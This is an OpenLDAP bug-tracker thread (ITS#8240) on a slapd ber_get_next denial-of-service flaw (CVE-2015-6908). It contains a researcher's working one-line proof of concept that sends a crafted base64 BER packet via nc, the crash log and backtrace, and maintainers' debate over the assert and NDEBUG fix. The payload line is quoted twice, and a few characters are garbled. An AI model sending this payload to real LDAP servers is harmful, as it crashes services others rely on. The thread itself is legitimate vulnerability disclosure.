OpenLDAP
Up to top level
Build   Contrib   Development   Documentation   Historical   Incoming   Software Bugs   Software Enhancements   Web  

Logged in as guest

Viewing Software Bugs/8240
Full headers

From: denis.andzakovic@security-assessment.com
Subject: OpenLDAP ber_get_next denial of service vulnerability
Compose comment
Download message
State:
0 replies:
14 followups: 1 2 3 4 5 6 7 8 9 10 11 12 13 14

Major security issue: yes  no

Notes:

Notification:


Date: Wed, 09 Sep 2015 22:38:56 +0000
From: denis.andzakovic@security-assessment.com
To: openldap-its@OpenLDAP.org
Subject: OpenLDAP ber_get_next denial of service vulnerability
Full_Name: Denis Andzakovic
Version: 2.4.42
OS: Debian 8
URL: 
Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89)


OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42

+-------------+
| Description |
+-------------+
This document details a vulnerability found within the OpenLDAP server daemon. A
Denial of Service vulnerability was discovered within the slapd daemon, allowing
an unauthenticated attacker to crash the OpenLDAP server.

By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository.

+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data. 

The following proof of concept exploit can be used to trigger the condition:

--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389

The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode. 

--[ adadp -d3
55f0b36e slap_listener_activate(7): 
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
  0000:  ff 84 84 84 84 84 77 83                            ......w.          
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
  0000:  0a                                                 .                 
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed.

The following GDB back trace provides further information as to the location of
the issue.

--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56	../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007ffff6a144e8 in __GI_abort () at abort.c:89
#2  0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u:
%s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55f280 "0",
file=file@entry=0x59bdb1 "io.c", 
    line=line@entry=682, function=function@entry=0x59bf33
<__PRETTY_FUNCTION__.6337> "r_r_get_next") at assert.c:92
#3  0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280
"0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, 
    function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337>
"ber_get_next")
at assert.c:101
#4  0x000000000053261a in ber_get_next (sb=0x7fffe40008c0, len=0x7ffff2e49b40,
ber=0x7fffe4000a00) at io.c:682
#5  0x0000000000420b56 in connection_input (cri=<optimized out>,
conn=<optimized
out>) at connection.c:1572
#6  connection_read (cri=<optimiz o out>, s=<optimized out>) at
connection.c:1460
#7  connection_read_thread (ctx=0x7ffff2e49b90, argv=0xf) at connection.c:1284
#8  0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at
tpool.c:696
#9  0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2e4a700) at
pthread_create.c:309
#10 0x00007ffff6ac404d in clone () at
../sysdeps/unix/sysv/linux/x86_64/clone.S:111

+----------+
| Solution |
+----------+
Ensure that data received from untrusted sources is not able to trigger
conditions resulting in the server crashing. In this specific instance, the
NDEBUG macro should be defined before the inclusion of assert.h by default,
requiring a specific compile time alteration to enable debug. 

+-------------------------------+
A%A| About Security-Assessment.com |
+-------------------------------+

Security-Assessment.com is Australasia's leading team of Information Security
consultants specialising in providing high quality Information Security 
services to clients throughout the Asia Pacific region. Our clients include
some of the largest globally recognised companies in areas such as finance,
telecommunications, broadcasting, legal and government. Our aim is to provide
the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development,
and its team continues to identify and responsibly publish vulnerabilities
in public and private soft

Message of length 5377 truncated

Followup 1

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: denis.andzakovic@security-assessment.com, openldap-its@OpenLDAP.org
From: Howard Chu <hyc@symas.com>
Date: Thu, 10 Sep 2015 00:40:02 +0100
denis.andzakovic@security-assessment.com wrote:
> Full_Name: Denis Andzakovic
> Version: 2.4.42
> OS: Debian 8
> URL:
> Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89)
>
>
> OpenLDAP ber_get_next Denial of Service
> Affected Versions: OpenLDAP <= 2.4.42
>
> +-------------+
> | Description |
> +-------------+
> This document details a vulnerability found within the OpenLDAP server
daemon. A
> Denial of Service vulnerability was discovered within the slapd daemon,
allowing
> an unauthenticated attacker to crash the OpenLDAP server.
>
> By sending a crafted packet, an attacker may cause the OpenLDAP server to
reach
> an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
> (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian
package
> repository.

Thanks for the report. Fixed now in git master.

> +--------------+
> | Exploitation |
> +--------------+
> By sending a crafted packet, an attacker can cause the OpenLDAP daemon to
crash
> with a SIGABRT. This is due to an assert() call within the ber_get_next
method
> (io.c line 682) that is hit when decoding tampered BER data.
>
> The following proof of concept exploit can be used to trigger the
condition:
>
> --[ Exploit POC
> echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389

It's easier to just pipe this into liblber/dtest.

-- 
   -- Howard Chu
   CTO, Symas Corp.           http://www.symas.com
   Director, Highland Sun     http://highlandsun.com/hyc/
   Chief Architect, OpenLDAP  http://www.openldap.org/project/



Followup 2

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: hyc@symas.com, openldap-its@OpenLDAP.org
From: =?UTF-8?Q?Michael_Str=c3=b6der?= <michael@stroeder.com>
Date: Fri, 11 Sep 2015 01:11:21 +0200
hyc@symas.com wrote:
> Thanks for the report. Fixed now in git master.

Thanks for this quick fix.

Could this also affect LDAP clients using libldap?

Ciao, Michael.



Followup 3

Download message
Date: Fri, 11 Sep 2015 02:35:09 +0300
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
From: =?UTF-8?B?0JvQtdC+0L3QuNC0INCu0YDRjNC10LI=?= <leo@yuriev.ru>
To: =?UTF-8?Q?Michael_Str=C3=B6der?= <michael@stroeder.com>
Cc: "openldap-its@openldap.org" <openldap-its@openldap.org>
2015-09-11 2:11 GMT+03:00  <michael@stroeder.com>:
> hyc@symas.com wrote:
>> Thanks for the report. Fixed now in git master.
>
> Thanks for this quick fix.
>
> Could this also affect LDAP clients using libldap?
>
> Ciao, Michael.
>

Yes, of course - any application that uses liblber for parse or read a data.



Followup 4

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: =?UTF-8?Q?Michael_Str=c3=b6der?= <michael@stroeder.com>,
 openldap-its@OpenLDAP.org
From: Howard Chu <hyc@symas.com>
Date: Fri, 11 Sep 2015 00:40:32 +0100
Michael Str..der wrote:
> hyc@symas.com wrote:
>> Thanks for the report. Fixed now in git master.
>
> Thanks for this quick fix.
>
> Could this also affect LDAP clients using libldap?

The assert was in liblber. Since libldap uses liblber, yes, it can affect
clients.

-- 
   -- Howard Chu
   CTO, Symas Corp.           http://www.symas.com
   Director, Highland Sun     http://highlandsun.com/hyc/
   Chief Architect, OpenLDAP  http://www.openldap.org/project/



Followup 5

Download message
Date: Fri, 11 Sep 2015 12:12:52 +0200
From: =?UTF-8?Q?Michael_Str=C3=B6der?= <michael@stroeder.com>
To: openldap-its@openldap.org
Subject: ITS#8240
Hmm...wouldn't this ITS justify some quick security release 2.4.43?

I'm willing to test in as many of my deployments as possible.

CIao, Michael.




Followup 6

Download message
Date: Fri, 11 Sep 2015 07:52:40 -0700
From: Ryan Tandy <ryan@nardis.ca>
To: openldap-its@OpenLDAP.org
Subject: Re: ITS#8240
For the record, this issue is being tracked as CVE-2015-6908.

http://www.openwall.com/lists/oss-security/2015/09/11/5



Followup 7

Download message
Subject: Re: ITS#8240
To: michael@stroeder.com, openldap-its@OpenLDAP.org
From: Howard Chu <hyc@symas.com>
Date: Fri, 11 Sep 2015 18:44:16 +0100
michael@stroeder.com wrote:
> Hmm...wouldn't this ITS justify some quick security release 2.4.43?

For the umpteenth time - the Project only considers unintended information 
disclosures or remote code execution flaws as security issues. Neither applies 
here.

-- 
   -- Howard Chu
   CTO, Symas Corp.           http://www.symas.com
   Director, Highland Sun     http://highlandsun.com/hyc/
   Chief Architect, OpenLDAP  http://www.openldap.org/project/



Followup 8

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: denis.andzakovic@security-assessment.com, openldap-its@OpenLDAP.org
From: Howard Chu <hyc@symas.com>
Date: Sat, 12 Sep 2015 10:06:40 +0100
denis.andzakovic@security-assessment.com wrote:
> Full_Name: Denis Andzakovic
> Version: 2.4.42
> OS: Debian 8
> URL:
> Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89)
>
>
> OpenLDAP ber_get_next Denial of Service
> Affected Versions: OpenLDAP <= 2.4.42

> +----------+
> | Solution |
> +----------+
> Ensure that data received from untrusted sources is not able to trigger
> conditions resulting in the server crashing. In this specific instance, the
> NDEBUG macro should be defined before the inclusion of assert.h by default,
> requiring a specific compile time alteration to enable debug.

Our patch response was too hasty. There is no OpenLDAP bug here, the real 
issue is production binaries being built with asserts enabled instead of 
compiling with -DNDEBUG. That's an issue for packagers and distros to resolve. 
Closing this ITS, not an OpenLDAP bug.

-- 
   -- Howard Chu
   CTO, Symas Corp.           http://www.symas.com
   Director, Highland Sun     http://highlandsun.com/hyc/
   Chief Architect, OpenLDAP  http://www.openldap.org/project/



Followup 9

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: hyc@symas.com, openldap-its@OpenLDAP.org
From: =?UTF-8?Q?Michael_Str=c3=b6der?= <michael@stroeder.com>
Date: Sat, 12 Sep 2015 16:24:10 +0200
hyc@symas.com wrote:
> Our patch response was too hasty. There is no OpenLDAP bug here, the real 
> issue is production binaries being built with asserts enabled instead of 
> compiling with -DNDEBUG. That's an issue for packagers and distros to
resolve. 
> Closing this ITS, not an OpenLDAP bug.

I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did not
help. slapd still crashes when hitting the assert.

Ciao, Michael.




Followup 10

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: michael@stroeder.com
Cc: openldap-its@OpenLDAP.org
From: Hallvard Breien Furuseth <h.b.furuseth@usit.uio.no>
Date: Sat, 12 Sep 2015 20:05:55 +0200
On 12/09/15 16:24, michael@stroeder.com wrote:
> I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did not
> help. slapd still crashes when hitting the assert.

Yes, portable.h #undefs it by default.  OpenLDAP has always conflated
logging, debug output and asserts behind LDAP_DEBUG.  We've been saying
for some time that we really ought to do something about that someday...

Even ignoring that, demanding -NDEBUG is backwards in so many ways:

Using C's features like <assert.h> is not the user's job, it's
OpenLDAP's (i.e. configure and portable.hin).  The person building
OpenLDAP might not even be a C programmer who knows about the C
language quirk that it has a feature makes errors crash by default.

A simple "./configure --prefix=/whatever" ought to be a reasonable way
to build OpenLDAP, like with most other packages.  There are
installation instructions and they do not mention NDEBUG.

In particular since this isn't even about catching a bug in OpenLDAP,
but in the input.  If someone wants to crash-debug the input to slapd,
let him #define something when building slapd.  You could replace the
assert() with debug_assert() or something.  The same goes for any
other assert which doesn't mean "assert(the code is correct)".




Followup 11

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: openldap-its@OpenLDAP.org
From: Hallvard Breien Furuseth <h.b.furuseth@usit.uio.no>
Date: Sat, 12 Sep 2015 20:12:11 +0200
I wrote:
> If someone wants to crash-debug the input to slapd,
> let him #define something when building slapd.  You could replace the
> assert() with debug_assert() or something.  The same goes for any
> other assert which doesn't mean "assert(the code is correct)".

Look at LDAP_MEMORY_DEBUG and its doc in liblber/memory.c, for example.
With the note
"* ... If LDAP_MEMORY_DEBUG & 2 is true,
  * that includes asserts known to break both slapd and current clients."




Followup 12

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: h.b.furuseth@usit.uio.no, openldap-its@OpenLDAP.org
From: Howard Chu <hyc@symas.com>
Date: Sat, 12 Sep 2015 21:49:30 +0100
h.b.furuseth@usit.uio.no wrote:
> On 12/09/15 16:24, michael@stroeder.com wrote:
>> I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this did
not
>> help. slapd still crashes when hitting the assert.
>
> Yes, portable.h #undefs it by default.  OpenLDAP has always conflated
> logging, debug output and asserts behind LDAP_DEBUG.  We've been saying
> for some time that we really ought to do something about that someday...

Yes, and that's more obviously a bug that we can fix.

> Even ignoring that, demanding -NDEBUG is backwards in so many ways:
>
> Using C's features like <assert.h> is not the user's job, it's
> OpenLDAP's (i.e. configure and portable.hin).  The person building
> OpenLDAP might not even be a C programmer who knows about the C
> language quirk that it has a feature makes errors crash by default.

It is standard practice in C code. assert() and NDEBUG are part of the C 
standard. A person who doesn't know C has no business building the code. 
Certainly the libraries are of no use to them if they're not C programmers 
already.

> A simple "./configure --prefix=/whatever" ought to be a reasonable way
> to build OpenLDAP, like with most other packages.  There are
> installation instructions and they do not mention NDEBUG.
>
> In particular since this isn't even about catching a bug in OpenLDAP,
> but in the input.  If someone wants to crash-debug the input to slapd,
> let him #define something when building slapd.  You could replace the
> assert() with debug_assert() or something.  The same goes for any
> other assert which doesn't mean "assert(the code is correct)".

Every use of assert is "assert(the code is correct)" - but that often depends 
on dynamic state, not just the statically written code. Just like 
"assert(SOCKBUF_VALID(sb))" or whatever else. That is the case for the assert 
in question here.

-- 
   -- Howard Chu
   CTO, Symas Corp.           http://www.symas.com
   Director, Highland Sun     http://highlandsun.com/hyc/
   Chief Architect, OpenLDAP  http://www.openldap.org/project/



Followup 13

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: hyc@symas.com, openldap-its@OpenLDAP.org
From: =?UTF-8?Q?Michael_Str=c3=b6der?= <michael@stroeder.com>
Date: Sat, 12 Sep 2015 23:03:53 +0200
hyc@symas.com wrote:
> h.b.furuseth@usit.uio.no wrote:
>> On 12/09/15 16:24, michael@stroeder.com wrote:
>>> I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but this
did not
>>> help. slapd still crashes when hitting the assert.
>>
>> Yes, portable.h #undefs it by default.  OpenLDAP has always conflated
>> logging, debug output and asserts behind LDAP_DEBUG.  We've been saying
>> for some time that we really ought to do something about that
someday...
> 
> Yes, and that's more obviously a bug that we can fix.

Is it an easy fix?

I think that in opposite to the OpenLDAP project most people out there
consider this to be a really serious bug to be fixed really soon.

For now with my own builds I apply the patch removing the assert statement.
But I wonder how many asserts statements are in the code which can be hit by
invalid input leading to a crash.

>> Even ignoring that, demanding -NDEBUG is backwards in so many ways:
>>
>> Using C's features like <assert.h> is not the user's job, it's
>> OpenLDAP's (i.e. configure and portable.hin).  The person building
>> OpenLDAP might not even be a C programmer who knows about the C
>> language quirk that it has a feature makes errors crash by default.
> 
> It is standard practice in C code. assert() and NDEBUG are part of the C 
> standard. A person who doesn't know C has no business building the code. 
> Certainly the libraries are of no use to them if they're not C programmers 
> already.

This is a black-and-white-only statement which does not meet 90% of the cases
out there.

>> A simple "./configure --prefix=/whatever" ought to be a reasonable way
>> to build OpenLDAP, like with most other packages.  There are
>> installation instructions and they do not mention NDEBUG.

I strongly concur with Hallvard here.

> Every use of assert is "assert(the code is correct)" - but that often
depends 
> on dynamic state, not just the statically written code.

Yes, dynamic state including invalid input.  But IMO "assert(the code is
correct)" should never be hit no matter how bad the input was.  And it should
definitely not crash the server (with system's ressource limits being a
unavoidable exception).  Rephrasing: The meaning of the statement "the code is
correct" should also include "invalid input is properly handled as error" - no
matter what.

Ciao, Michael.



Followup 14

Download message
Subject: Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
To: =?UTF-8?Q?Michael_Str=c3=b6der?= <michael@stroeder.com>,
 openldap-its@OpenLDAP.org
From: Howard Chu <hyc@symas.com>
Date: Sat, 12 Sep 2015 22:26:36 +0100
Michael Str.der wrote:
> hyc@symas.com wrote:
>> h.b.furuseth@usit.uio.no wrote:
>>> On 12/09/15 16:24, michael@stroeder.com wrote:
>>>> I've compiled with CFLAGS="-DNDEBUG" (also tried CPPFLAGS) but
this did not
>>>> help. slapd still crashes when hitting the assert.
>>>
>>> Yes, portable.h #undefs it by default.  OpenLDAP has always
conflated
>>> logging, debug output and asserts behind LDAP_DEBUG.  We've been
saying
>>> for some time that we really ought to do something about that
someday...
>>
>> Yes, and that's more obviously a bug that we can fix.
>
> Is it an easy fix?

Not for 2.4.

> I think that in opposite to the OpenLDAP project most people out there
> consider this to be a really serious bug to be fixed really soon.

> For now with my own builds I apply the patch removing the assert statement.
> But I wonder how many asserts statements are in the code which can be hit
by
> invalid input leading to a crash.

Given the lack of OpenLDAP documentation about NDEBUG I have re-reverted my 
previous revert. The patch has been reinstated.

>> Every use of assert is "assert(the code is correct)" - but that often
depends
>> on dynamic state, not just the statically written code.
>
> Yes, dynamic state including invalid input.  But IMO "assert(the code is
> correct)" should never be hit no matter how bad the input was.  And it
should
> definitely not crash the server (with system's ressource limits being a
> unavoidable exception).  Rephrasing: The meaning of the statement "the code
is
> correct" should also include "invalid input is properly handled as error" -
no
> matter what.

In this particular case the code already handles the error perfectly well 
without the assert, so the assert doesn't serve any useful purpose.

-- 
   -- Howard Chu
   CTO, Symas Corp.           http://www.symas.com
   Director, Highland Sun     http://highlandsun.com/hyc/
   Chief Architect, OpenLDAP  http://www.openldap.org/project/


Up to top level
Build   Contrib   Development   Documentation   Historical   Incoming   Software Bugs   Software Enhancements   Web  

Logged in as guest


The OpenLDAP Issue Tracking System uses a hacked version of JitterBug

______________
© Copyright 2013, OpenLDAP Foundation, info@OpenLDAP.org